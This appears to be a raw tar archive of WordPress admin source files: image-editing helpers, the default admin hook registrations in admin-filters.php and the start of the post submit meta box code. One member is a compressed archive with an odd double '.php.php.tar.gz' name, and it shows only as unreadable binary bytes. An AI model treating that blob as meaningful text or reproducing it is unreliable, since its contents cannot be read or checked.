 * @param string       $mime_type     Image mime type.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'full'.
 * @return resource|GdImage|false The resulting image resource or GdImage instance on success,
 *                                false on failure.
 */
function load_image_to_edit( $attachment_id, $mime_type, $size = 'full' ) {
	$filepath = _load_image_to_edit_path( $attachment_id, $size );
	if ( empty( $filepath ) ) {
		return false;
	}

	switch ( $mime_type ) {
		case 'image/jpeg':
			$image = imagecreatefromjpeg( $filepath );
			break;
		case 'image/png':
			$image = imagecreatefrompng( $filepath );
			break;
		case 'image/gif':
			$image = imagecreatefromgif( $filepath );
			break;
		case 'image/webp':
			$image = false;
			if ( function_exists( 'imagecreatefromwebp' ) ) {
				$image = imagecreatefromwebp( $filepath );
			}
			break;
		default:
			$image = false;
			break;
	}

	if ( is_gd_image( $image ) ) {
		/**
		 * Filters the current image being loaded for editing.
		 *
		 * @since 2.9.0
		 *
		 * @param resource|GdImage $image         Current image.
		 * @param int              $attachment_id Attachment ID.
		 * @param string|int[]     $size          Requested image size. Can be any registered image size name, or
		 *                                        an array of width and height values in pixels (in that order).
		 */
		$image = apply_filters( 'load_image_to_edit', $image, $attachment_id, $size );

		if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) {
			imagealphablending( $image, false );
			imagesavealpha( $image, true );
		}
	}

	return $image;
}

/**
 * Retrieves the path or URL of an attachment's attached file.
 *
 * If the attached file is not present on the local filesystem (usually due to replication plugins),
 * then the URL of the file is returned if `allow_url_fopen` is supported.
 *
 * @since 3.4.0
 * @access private
 *
 * @param int          $attachment_id Attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'full'.
 * @return string|false File path or URL on success, false on failure.
 */
function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
	$filepath = get_attached_file( $attachment_id );

	if ( $filepath && file_exists( $filepath ) ) {
		if ( 'full' !== $size ) {
			$data = image_get_intermediate_size( $attachment_id, $size );

			if ( $data ) {
				$filepath = path_join( dirname( $filepath ), $data['file'] );

				/**
				 * Filters the path to an attachment's file when editing the image.
				 *
				 * The filter is evaluated for all image sizes except 'full'.
				 *
				 * @since 3.1.0
				 *
				 * @param string       $path          Path to the current image.
				 * @param int          $attachment_id Attachment ID.
				 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
				 *                                    an array of width and height values in pixels (in that order).
				 */
				$filepath = apply_filters( 'load_image_to_edit_filesystempath', $filepath, $attachment_id, $size );
			}
		}
	} elseif ( function_exists( 'fopen' ) && ini_get( 'allow_url_fopen' ) ) {
		/**
		 * Filters the path to an attachment's URL when editing the image.
		 *
		 * The filter is only evaluated if the file isn't stored locally and `allow_url_fopen` is enabled on the server.
		 *
		 * @since 3.1.0
		 *
		 * @param string|false $image_url     Current image URL.
		 * @param int          $attachment_id Attachment ID.
		 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
		 *                                    an array of width and height values in pixels (in that order).
		 */
		$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
	}

	/**
	 * Filters the returned path or URL of the current image.
	 *
	 * @since 2.9.0
	 *
	 * @param string|false $filepath      File path or URL to current image, or false.
	 * @param int          $attachment_id Attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
}

/**
 * Copies an existing image file.
 *
 * @since 3.4.0
 * @access private
 *
 * @param int $attachment_id Attachment ID.
 * @return string|false New file path on success, false on failure.
 */
function _copy_image_file( $attachment_id ) {
	$dst_file = get_attached_file( $attachment_id );
	$src_file = $dst_file;

	if ( ! file_exists( $src_file ) ) {
		$src_file = _load_image_to_edit_path( $attachment_id );
	}

	if ( $src_file ) {
		$dst_file = str_replace( wp_basename( $dst_file ), 'copy-' . wp_basename( $dst_file ), $dst_file );
		$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

		/*
		 * The directory containing the original file may no longer
		 * exist when using a replication plugin.
		 */
		wp_mkdir_p( dirname( $dst_file ) );

		if ( ! copy( $src_file, $dst_file ) ) {
			$dst_file = false;
		}
	} else {
		$dst_file = false;
	}

	return $dst_file;
}
admin-filters.php000064400000017475150275632050010036 0ustar00<?php
/**
 * Administration API: Default admin hooks
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

// Bookmark hooks.
add_action( 'admin_page_access_denied', 'wp_link_manager_disabled_message' );

// Dashboard hooks.
add_action( 'activity_box_end', 'wp_dashboard_quota' );
add_action( 'welcome_panel', 'wp_welcome_panel' );

// Media hooks.
add_action( 'attachment_submitbox_misc_actions', 'attachment_submitbox_metadata' );
add_filter( 'plupload_init', 'wp_show_heic_upload_error' );

add_action( 'media_upload_image', 'wp_media_upload_handler' );
add_action( 'media_upload_audio', 'wp_media_upload_handler' );
add_action( 'media_upload_video', 'wp_media_upload_handler' );
add_action( 'media_upload_file', 'wp_media_upload_handler' );

add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );

add_action( 'post-html-upload-ui', 'media_upload_html_bypass' );

add_filter( 'async_upload_image', 'get_media_item', 10, 2 );
add_filter( 'async_upload_audio', 'get_media_item', 10, 2 );
add_filter( 'async_upload_video', 'get_media_item', 10, 2 );
add_filter( 'async_upload_file', 'get_media_item', 10, 2 );

add_filter( 'media_upload_gallery', 'media_upload_gallery' );
add_filter( 'media_upload_library', 'media_upload_library' );

add_filter( 'media_upload_tabs', 'update_gallery_tab' );

// Admin color schemes.
add_action( 'admin_init', 'register_admin_color_schemes', 1 );
add_action( 'admin_head', 'wp_color_scheme_settings' );
add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' );

// Misc hooks.
add_action( 'admin_init', 'wp_admin_headers' );
add_action( 'login_init', 'wp_admin_headers' );
add_action( 'admin_init', 'send_frame_options_header', 10, 0 );
add_action( 'admin_head', 'wp_admin_canonical_url' );
add_action( 'admin_head', 'wp_site_icon' );
add_action( 'admin_head', 'wp_admin_viewport_meta' );
add_action( 'customize_controls_head', 'wp_admin_viewport_meta' );
add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' );

// Prerendering.
if ( ! is_customize_preview() ) {
	add_filter( 'admin_print_styles', 'wp_resource_hints', 1 );
}

add_action( 'admin_print_scripts', 'print_emoji_detection_script' );
add_action( 'admin_print_scripts', 'print_head_scripts', 20 );
add_action( 'admin_print_footer_scripts', '_wp_footer_scripts' );
add_action( 'admin_enqueue_scripts', 'wp_enqueue_emoji_styles' );
add_action( 'admin_print_styles', 'print_emoji_styles' ); // Retained for backwards-compatibility. Unhooked by wp_enqueue_emoji_styles().
add_action( 'admin_print_styles', 'print_admin_styles', 20 );

add_action( 'admin_print_scripts-index.php', 'wp_localize_community_events' );
add_action( 'admin_print_scripts-post.php', 'wp_page_reload_on_back_button_js' );
add_action( 'admin_print_scripts-post-new.php', 'wp_page_reload_on_back_button_js' );

add_action( 'update_option_home', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_siteurl', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_page_on_front', 'update_home_siteurl', 10, 2 );
add_action( 'update_option_admin_email', 'wp_site_admin_email_change_notification', 10, 3 );

add_action( 'add_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );
add_action( 'update_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );

add_filter( 'heartbeat_received', 'wp_check_locked_posts', 10, 3 );
add_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 );
add_filter( 'heartbeat_received', 'heartbeat_autosave', 500, 2 );

add_filter( 'wp_refresh_nonces', 'wp_refresh_post_nonces', 10, 3 );
add_filter( 'wp_refresh_nonces', 'wp_refresh_metabox_loader_nonces', 10, 2 );
add_filter( 'wp_refresh_nonces', 'wp_refresh_heartbeat_nonces' );

add_filter( 'heartbeat_settings', 'wp_heartbeat_set_suspension' );

add_action( 'use_block_editor_for_post_type', '_disable_block_editor_for_navigation_post_type', 10, 2 );
add_action( 'edit_form_after_title', '_disable_content_editor_for_navigation_post_type' );
add_action( 'edit_form_after_editor', '_enable_content_editor_for_navigation_post_type' );

// Nav Menu hooks.
add_action( 'admin_head-nav-menus.php', '_wp_delete_orphaned_draft_menu_items' );

// Plugin hooks.
add_filter( 'allowed_options', 'option_update_filter' );

// Plugin Install hooks.
add_action( 'install_plugins_featured', 'install_dashboard' );
add_action( 'install_plugins_upload', 'install_plugins_upload' );
add_action( 'install_plugins_search', 'display_plugins_table' );
add_action( 'install_plugins_popular', 'display_plugins_table' );
add_action( 'install_plugins_recommended', 'display_plugins_table' );
add_action( 'install_plugins_new', 'display_plugins_table' );
add_action( 'install_plugins_beta', 'display_plugins_table' );
add_action( 'install_plugins_favorites', 'display_plugins_table' );
add_action( 'install_plugins_pre_plugin-information', 'install_plugin_information' );

// Template hooks.
add_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
add_action( 'user_register', array( 'WP_Internal_Pointers', 'dismiss_pointers_for_new_users' ) );

// Theme hooks.
add_action( 'customize_controls_print_footer_scripts', 'customize_themes_print_templates' );

// Theme Install hooks.
add_action( 'install_themes_pre_theme-information', 'install_theme_information' );

// User hooks.
add_action( 'admin_init', 'default_password_nag_handler' );

add_action( 'admin_notices', 'default_password_nag' );
add_action( 'admin_notices', 'new_user_email_admin_notice' );

add_action( 'profile_update', 'default_password_nag_edit_user', 10, 2 );

add_action( 'personal_options_update', 'send_confirmation_on_profile_email' );

// Update hooks.
add_action( 'load-plugins.php', 'wp_plugin_update_rows', 20 ); // After wp_update_plugins() is called.
add_action( 'load-themes.php', 'wp_theme_update_rows', 20 ); // After wp_update_themes() is called.

add_action( 'admin_notices', 'update_nag', 3 );
add_action( 'admin_notices', 'deactivated_plugins_notice', 5 );
add_action( 'admin_notices', 'paused_plugins_notice', 5 );
add_action( 'admin_notices', 'paused_themes_notice', 5 );
add_action( 'admin_notices', 'maintenance_nag', 10 );
add_action( 'admin_notices', 'wp_recovery_mode_nag', 1 );

add_filter( 'update_footer', 'core_update_footer' );

// Update Core hooks.
add_action( '_core_updated_successfully', '_redirect_to_about_wordpress' );

// Upgrade hooks.
add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );

// Privacy hooks.
add_filter( 'wp_privacy_personal_data_erasure_page', 'wp_privacy_process_personal_data_erasure_page', 10, 5 );
add_filter( 'wp_privacy_personal_data_export_page', 'wp_privacy_process_personal_data_export_page', 10, 7 );
add_action( 'wp_privacy_personal_data_export_file', 'wp_privacy_generate_personal_data_export_file', 10 );
add_action( 'wp_privacy_personal_data_erased', '_wp_privacy_send_erasure_fulfillment_notification', 10 );

// Privacy policy text changes check.
add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'text_change_check' ), 100 );

// Show a "postbox" with the text suggestions for a privacy policy.
add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'notice' ) );

// Add the suggested policy text from WordPress.
add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'add_suggested_content' ), 1 );

// Update the cached policy info when the policy page is updated.
add_action( 'post_updated', array( 'WP_Privacy_Policy_Content', '_policy_page_updated' ) );

// Append '(Draft)' to draft page titles in the privacy page dropdown.
add_filter( 'list_pages', '_wp_privacy_settings_filter_draft_page_titles', 10, 2 );

// Font management.
add_action( 'admin_print_styles', 'wp_print_font_faces', 50 );
class-wp-plugin-install-list-table.php.php.tar.gz000064400000014743150275632050016014 0ustar00��=ks�F��J��1K	�,IIv���A��dW9^]l�~к�ED �@ɺ���5�����K���Z�<zzz�==�E���Ӡ��4J�gETVAY��(ϲ�M>
�e����,Y�Q�?K��y����Q�Œ$%qY��`�D�|�b��ϓ/����s@?O�<z���デ_>����/A���_|��f|���_�����~�?'O�v�?�|G}�^���x������N��?�S�q��#�`N�[̮��H�3+�s`��Z��Tw�!��X-K�x*R�Ƈ������x�]��(TU��e�D�(�T�y���b,��у�*Pȉ�9Q��.�MQ���7D8�����4,���睝^��&�L�
�B)u���Wϼ�F��z�U�X�E��K�Ep;�;FxE|T�ڍ�"+�)�C싨Z��fY�
��|�ΐ�*�)x��
��=@�דY�UQ-�^�	}�����{k�h*{1����J��T����7e����2�S�@͋lI�>��1<�0���#�NJp'�%�@������N�EVE�*
롲i����U��2�|��&��mWs�s:���3�Be\E��6Е�꒵��@�e��h�f>�P{����A��Bu
Jݥ紭0���k�MV�e��2?�j$et�+/���8i��w�d�
���gi��&�ȏ�ǪX��-
k��"�A�%����C�<}(9�k(��u�R�q����R�������oQ
U�St�P���"fq1B�"�,��U}څ���ݖp�L9�t	oS���2ɦA� �����	-v8�1�~vs0ea���<j�3�P�y�A��4��&�{C[�t<�������Xy뎘����Z��isC�5ć�搑��7�2�
�'�7�$O�H��d����ؔ��F�!�&��	5��oE(��#��n1H96��H ���1¡A��%1��((fO���Җ��ӌݍ��0�}	,WI��n��<`���/x\�,K�9�xq�d���`�uT�p`g���W+Y�����`�W�I�G�߃	�J(q%��FG̣�B���j"8׍�0dz��$(x��~.�w�."��
i}����x'�yp���%a��7�]�q��#�<ɂв���� g/3�d�%��@��H����;�Z
����	�2�D�4N��v,S���R�Wq�[�2���Ve=V�9F��7�Y񎜳L�(��.V�T�kI�/�R !�$q���ǂ� ��0SiV�Ep
b���
UŘ�Un��Ѳ�1G��B�)t@t�}!�l���/Q]�͠���h����JP��[@}��;%�����Ԭ\��,[��7��)HC� �f��y��|��gK��
eŌ��>$=�,�N��SX�S��vX�P�Z`�_l��~C�A{8�ș����9�]�k�^���|�)���(!�>TgpRq�	-i
g�k���yu;�z��@=0�	!�����>þ��b�6�O{.�Cr�HsX���à>-�k��k�Z�6}AqY;��5�XO�����w�'���f��*�Q�:�箄�R�1�����ES�訌�3�b�m)0�Ax��O��[{�"c_W��m��Yf[��#r{�o�]�C���?�|����S��*-!�^��8���X@�߭ ���J
��g���yUp)��ú�&T�e��"��J"%�a��<KDoO��L�ձ��l�!�bu�V�"+��u���gi��˨ѣ�M�S�)�n���3
�"�)#A!����4[9�=u'{�� ��D����It����z�5q�5��`]���;hg����� �v��<+.I��`���(S����ĥ�����zO4p6���֧�A����.���׵��ac����G�V�r�<��YCT~Ok}�*���D�ÀևeY�H��*0+�5�|�<��cj��#e�=hlg�`�MB��dWh�L0h?��ހ�D>-��Y�(�mx;J�Ph;�b���r�qۢbO���|�>sA��w���s	#�:T-���fI���Q�[�&�T�B��x��|mI�8�v�=r�-����d�d�01|�|�Ȳ+��7T?�f�qK��Wc3)�!�F�n�>��2�<�d��#k��[F0A�H���?n?Et�3Dso?����Obz��l޶����ug�Q�3L�b7��w�)��+�������@�gd�����e��t�$��jG �j*|q�/n�)j����}��n@�WJN&��f���uy�d�hb�z��d�UP�8�^�1Tƅ�F�4��$��+I�������S�b������oϫ2�:����%D1��L�c�yl����Z�4�=�:�Ղ˷'d\�ʵ�i�h7'��/��J+&`�,aG�u���0����*l0Z���AZ���[�	�Kl]��
��Y�y�������Bꂖ��2�%9�k��U��:7al��͆1��X��l��v��&��!�0��r�_gNvjs�XW[Ng��^���v�t"!0�AW,O�W«�@��AD�p�s`�g�
�g�h�d��ek���M��
K����
��r��0�k���-y�4sRĎ�ʣ�~�.QYbRٓ|�~�=�[g(�0���0��И���i��(���l�Sٟ�LWU�J�|���Qp�i�֧���V�a��ǃ'��@7Jw��\��!3/8ش�H1Ra�i���$NI���.ً�'_�7�	��5���t�ҽ�Ҿ����I_�U$�'Z(Ds|���z�g�X!Q�s�j�uȘR�O�2�נ�&�4�6�ٸ�Ō�G���/8"W�n��HV_�L

�[=kM0�}W��]XIT�6!^��o��Hu��,�d.�̓&�5y
+���+�$�F��P7i��B���/W	C[�1njMSCDf$��6��4�gV�����Jѱ�:N������@�Y��b�FFs��LGh�9��.�w�%�)v��v�c��F�ٌ|9N�o�4rK�����5�>&���c�@,H�O�̝;�@��#��yC�f���4��$���%0e4� �'�D�s�N�otG�m�� �r'�=(-\����m����%����$��;�	
�m��ق�k��R_��'��_�E+��n�|���d�Lv�&��6�-
4��v��m�L�53X��a�VV5��aaUB��ȨVH�Hme*7{�q踪n��:q8L�Ĩ�fr_�~ҁ.%)B0�~PU8R����F�Y#�t�����9^��[�Dip���Y���u��H񙹇�)�1����Q�L��t���I�Q��8<�ñ�}��@�xmw����|�E�,����z�}M&�@�i��r�j�%��s�.]�u�Ey����:�˶������ū�����Lb�dC�~���e��|���a���n�/�$�W��R��tn�'�!p��4B}F����������K�L�(khj�b�gnm{�0�Γ1S�b&m'4��N��f5R�I+=iZh��P~}��u8n��h�͜��t���MeЬ��h��êV"���E��Ӻ��=#�5���NVK��Z��:@gz���sx]�	e�iX+�k���rpk*Ђ
}SgqZ�qŦ��M���m���%j��YS2��YN�&z��n��	��Jcեm6��Z}S��X��̴>����y�L���[jL"p'�:TGjtHp��x���=�B�N��Q��Ñd7QX�����'�X����f'�zm Q�5;�_/�N�YGiP��ϊ,�]z[
�ea�B����/���h���M�^�7筒�YWGwt�k��O�é�-}J�+��<�j�o��EY�ua�Ne��)�� �
�@�} i���,�����!��]@�\[���Y��f�6��M8!-�5H���jۊ�NF���Y+, E#��T��V�+�X}-��Cn������ӭ|�&��fÊR;��gЂ��q���\r��n#ۀ���B,&݃��Xuq"�����l�wj���~
{eN���0;#��c�������q$�A�����#�F��_T�d�PAr�8����x9��E�0K��p	�aL��h���P��2��Ɋ��f�HJ�]Lb䫕¼�]:;N�_��~փq�ۡj53���-3��Jo�w��Q�tC|K	j)���n��p��u��f�Ȋʷ�����e�"ݳ��7����]��O8r�;�(�}޾�؝��A�9�
9U�1(�W�=�����
?�0v%J�/��6��u�߬�3�8ʰ�`�`XkY�����V.��w0Ү(�+�7��cNS/��p�Q몺��{�u� �jݰ�9?WH��#�)�O�ǎu�V�⩓�!��\贚���[�q�^����eR
�Kæ�5CcwK}LWߑ~�eC����]-hN�#C,���?|9%��E���@c���5��L��B;�ʕ�u�F����pm��_~��i��@�Uq��Q��Y	��2
�j-o<����P�pE��[�4eԪ,��k�]��%d��I�Ofፄ]�$�
n@�=_k�K�*_Q1Cz�I����BH�ŷk�_�5��O˾€��
�8�u���\�����d?��M(;`�1+g[!�M�j�(�ui��A_�v�boa2�9(�*]j�V���o��f,if����{�>RB�K��L��
m8j[���!��#}]�oܞ�ı�	�J�u�7mt<r�j�Q�Y�b�l��F�Fv��Vm�ft���:�\��������B�x�����L��?�Lh*������Tr���
���
���M�U%�+-6�*KU��&R�i:* j�/[l����&!Q��T;���P������(�>zԛ6�k4��S�<�:�U�ہ�e͑/
�t�~���;�@9�O���jp���� ����.x��4��Rp!���rCFQ{T��IC�<� �u���3F#\p�@pU���c��zՕ-�g��9���|�T���H�ϴ	��l�8\�ѕ-�M
�)�7s-��w\���T�y;�-��n�t�=�E{�h��ⱕrQl���8�6S'
c��҂��ֆ4v�{Q�ύqڬ�]h�$H�
�F�X­��Y4��Bk��g�2?_��Zá�ğG�^��s|�r�ը�RV-N�ЧE�_�p���ӫ�l7S��Z��E<��f�T�G������Y$�%enZ��Z��7��D��=^�[V�4[U&��_
�k�V����e�Y�o���/�n�����ɠڣذ��w�_��c��_�ġ��}���'Mݞ���UR�ȹ̈�GmM��:��d/>av�;-Y[{A���cޑ�F0�*�lE�m����F2�cd��Pn�6g�����%�zNoq��<�x�_��9C\e�`��=X�3tm�-	%GV��yF�W9\#�ݚ걺NH��i���h���]�ƺ���My:W��!���x`#��Tª'��e;y���6[Z��ݚ�>4b����ǵc���b�ex[O����7�w�w��=4���z����uy!�AC�Ќ�����b9�|�@Ds��ya�+�^e�A��_����z��Xؔ�%�6J4�`q�:�,�q��[�CHS�5�Xc^ݷ����=��'�.�����R�EO+N�h9AG�d���Wo�1�ư�����s����<���{�3j~+�|p���r_vj���yq�A��u�����gDׇ��e��Ϗ!��
j}5�ٙ�T�oli���	�Ws�w���FAR��Wz{ghɄү4{mu趻�^�Nq'��Ռ�D_<��z�-��+�&�a�Y�z�@A�)͆�xy��bց@3�sq�9��s���}]ۍ��9e��z�v�]�OQ����T�KI����)�S�s&AJ`r�7&1p��I��5נ�u7�"�^n�Ʒ��E5�̭��|��G�3�܌3ġ��<��q�3�*����`W����ZSc_��i9c�Rj�h�t�w�WI�n��F�Q|�g�uf�KW�)���a@�,\րD�5�K�N�<0~a�lIߞ.�0�R�b�9�����h���H�D���RC�*�!+W0�oo_`�#���ȼ��qk��jo�[-|���x#k��lf�'��)D�����Bt��;b��M�T�wf7)��ДsS�Et:Ӏ����C�Nv�<7��8I(�=U�$ˊ� �k��]�Άˑ���/�w��И�v�O������^4>���
��e�)"��Z���P�~�M�
��p�/�'}�i<<��܇�ǝl�6�A�����7��_}�M�M=o��:�%�}���.�y��
�5i+C�h��4�;�H�a���R�:u�cw�e��jZe>���~�
�n��F��}(�:��~���~n�ʷ�9u�\1�UM��������3����?����ϟ?�_��/�,>hmeta-boxes.php000064400000200774150275632050007340 0ustar00<?php
/**
 * WordPress Administration Meta Boxes API.
 *
 * @package WordPress
 * @subpackage Administration
 */

//
// Post-related Meta Boxes.
//

/**
 * Displays post submit form fields.
 *
 * @since 2.7.0
 *
 * @global string $action
 *
 * @param WP_Post $post Current post object.
 * @param array   $args {
 *     Array of arguments for building the post submit meta box.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_submit_meta_box( $post, $args = array() ) {
	global $action;

	$post_id          = (int) $post->ID;
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );
	$can_publish      = current_user_can( $post_type_object->cap->publish_posts );
	?>
<div class="submitbox" id="submitpost">

<div id="minor-publishing">

	<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
	<div style="display:none;">
		<?php submit_button( __( 'Save' ), '', 'save' ); ?>
	</div>

	<div id="minor-publishing-actions">
		<div id="save-action">
			<?php
			if ( ! in_array( $post->post_status, array( 'publish', 'future', 'pending' ), true ) ) {
				$private_style = '';
				if ( 'private' === $post->post_status ) {
					$private_style = 'style="display:none"';
				}
				?>
				<input <?php echo $private_style; ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e( 'Save Draft' ); ?>" class="button" />
				<span class="spinner"></span>
			<?php } elseif ( 'pending' === $post->post_status && $can_publish ) { ?>
				<input type="submit" name="save" id="save-post" value="<?php esc_attr_e( 'Save as Pending' ); ?>" class="button" />
				<span class="spinner"></span>
			<?php } ?>
		</div>

		<?php
		if ( is_post_type_viewable( $post_type_object ) ) :
			?>
			<div id="preview-action">
				<?php
				$preview_link = esc_url( get_preview_post_link( $post ) );
				if ( 'publish' === $post->post_status ) {
					$preview_button_text = __( 'Preview Changes' );
				} else {
					$preview_button_text = __( 'Preview' );
				}

				$preview_button = sprintf(
					'%1$s<span class="screen-reader-text"> %2$s</span>',
					$preview_button_text,
					/* translators: Hidden accessibility text. */
					__( '(opens in a new tab)' )
				);
				?>
				<a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview-<?php echo $post_id; ?>" id="post-preview"><?php echo $preview_button; ?></a>
				<input type="hidden" name="wp-preview" id="wp-preview" value="" />
			</div>
			<?php
		endif;

		/**
		 * Fires after the Save Draft (or Save as Pending) and Preview (or Preview Changes) buttons
		 * in the Publish meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( 'post_submitbox_minor_actions', $post );
		?>
		<div class="clear"></div>
	</div>

	<div id="misc-publishing-actions">
		<div class="misc-pub-section misc-pub-post-status">
			<?php _e( 'Status:' ); ?>
			<span id="post-status-display">
				<?php
				switch ( $post->post_status ) {
					case 'private':
						_e( 'Privately Published' );
						break;
					case 'publish':
						_e( 'Published' );
						break;
					case 'future':
						_e( 'Scheduled' );
						break;
					case 'pending':
						_e( 'Pending Review' );
						break;
					case 'draft':
					case 'auto-draft':
						_e( 'Draft' );
						break;
				}
				?>
			</span>

			<?php
			if ( 'publish' === $post->post_status || 'private' === $post->post_status || $can_publish ) {
				$private_style = '';
				if ( 'private' === $post->post_status ) {
					$private_style = 'style="display:none"';
				}
				?>
				<a href="#post_status" <?php echo $private_style; ?> class="edit-post-status hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Edit status' );
					?>
				</span></a>

				<div id="post-status-select" class="hide-if-js">
					<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ( 'auto-draft' === $post->post_status ) ? 'draft' : $post->post_status ); ?>" />
					<label for="post_status" class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Set status' );
						?>
					</label>
					<select name="post_status" id="post_status">
						<?php if ( 'publish' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e( 'Published' ); ?></option>
						<?php elseif ( 'private' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e( 'Privately Published' ); ?></option>
						<?php elseif ( 'future' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e( 'Scheduled' ); ?></option>
						<?php endif; ?>
							<option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e( 'Pending Review' ); ?></option>
						<?php if ( 'auto-draft' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'auto-draft' ); ?> value='draft'><?php _e( 'Draft' ); ?></option>
						<?php else : ?>
							<option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e( 'Draft' ); ?></option>
						<?php endif; ?>
					</select>
					<a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e( 'OK' ); ?></a>
					<a href="#post_status" class="cancel-post-status hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
				</div>
				<?php
			}
			?>
		</div>

		<div class="misc-pub-section misc-pub-visibility" id="visibility">
			<?php _e( 'Visibility:' ); ?>
			<span id="post-visibility-display">
				<?php
				if ( 'private' === $post->post_status ) {
					$post->post_password = '';
					$visibility          = 'private';
					$visibility_trans    = __( 'Private' );
				} elseif ( ! empty( $post->post_password ) ) {
					$visibility       = 'password';
					$visibility_trans = __( 'Password protected' );
				} elseif ( 'post' === $post_type && is_sticky( $post_id ) ) {
					$visibility       = 'public';
					$visibility_trans = __( 'Public, Sticky' );
				} else {
					$visibility       = 'public';
					$visibility_trans = __( 'Public' );
				}

				echo esc_html( $visibility_trans );
				?>
			</span>

			<?php if ( $can_publish ) { ?>
				<a href="#visibility" class="edit-visibility hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Edit visibility' );
					?>
				</span></a>

				<div id="post-visibility-select" class="hide-if-js">
					<input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr( $post->post_password ); ?>" />
					<?php if ( 'post' === $post_type ) : ?>
						<input type="checkbox" style="display:none" name="hidden_post_sticky" id="hidden-post-sticky" value="sticky" <?php checked( is_sticky( $post_id ) ); ?> />
					<?php endif; ?>

					<input type="hidden" name="hidden_post_visibility" id="hidden-post-visibility" value="<?php echo esc_attr( $visibility ); ?>" />
					<input type="radio" name="visibility" id="visibility-radio-public" value="public" <?php checked( $visibility, 'public' ); ?> /> <label for="visibility-radio-public" class="selectit"><?php _e( 'Public' ); ?></label><br />

					<?php if ( 'post' === $post_type && current_user_can( 'edit_others_posts' ) ) : ?>
						<span id="sticky-span"><input id="sticky" name="sticky" type="checkbox" value="sticky" <?php checked( is_sticky( $post_id ) ); ?> /> <label for="sticky" class="selectit"><?php _e( 'Stick this post to the front page' ); ?></label><br /></span>
					<?php endif; ?>

					<input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e( 'Password protected' ); ?></label><br />
					<span id="password-span"><label for="post_password"><?php _e( 'Password:' ); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr( $post->post_password ); ?>"  maxlength="255" /><br /></span>

					<input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php checked( $visibility, 'private' ); ?> /> <label for="visibility-radio-private" class="selectit"><?php _e( 'Private' ); ?></label><br />

					<p>
						<a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php _e( 'OK' ); ?></a>
						<a href="#visibility" class="cancel-post-visibility hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
					</p>
				</div>
			<?php } ?>
		</div>

		<?php
		/* translators: Publish box date string. 1: Date, 2: Time. See https://www.php.net/manual/datetime.format.php */
		$date_string = __( '%1$s at %2$s' );
		/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
		$date_format = _x( 'M j, Y', 'publish box date format' );
		/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
		$time_format = _x( 'H:i', 'publish box time format' );

		if ( 0 !== $post_id ) {
			if ( 'future' === $post->post_status ) { // Scheduled for publishing at a future date.
				/* translators: Post date information. %s: Date on which the post is currently scheduled to be published. */
				$stamp = __( 'Scheduled for: %s' );
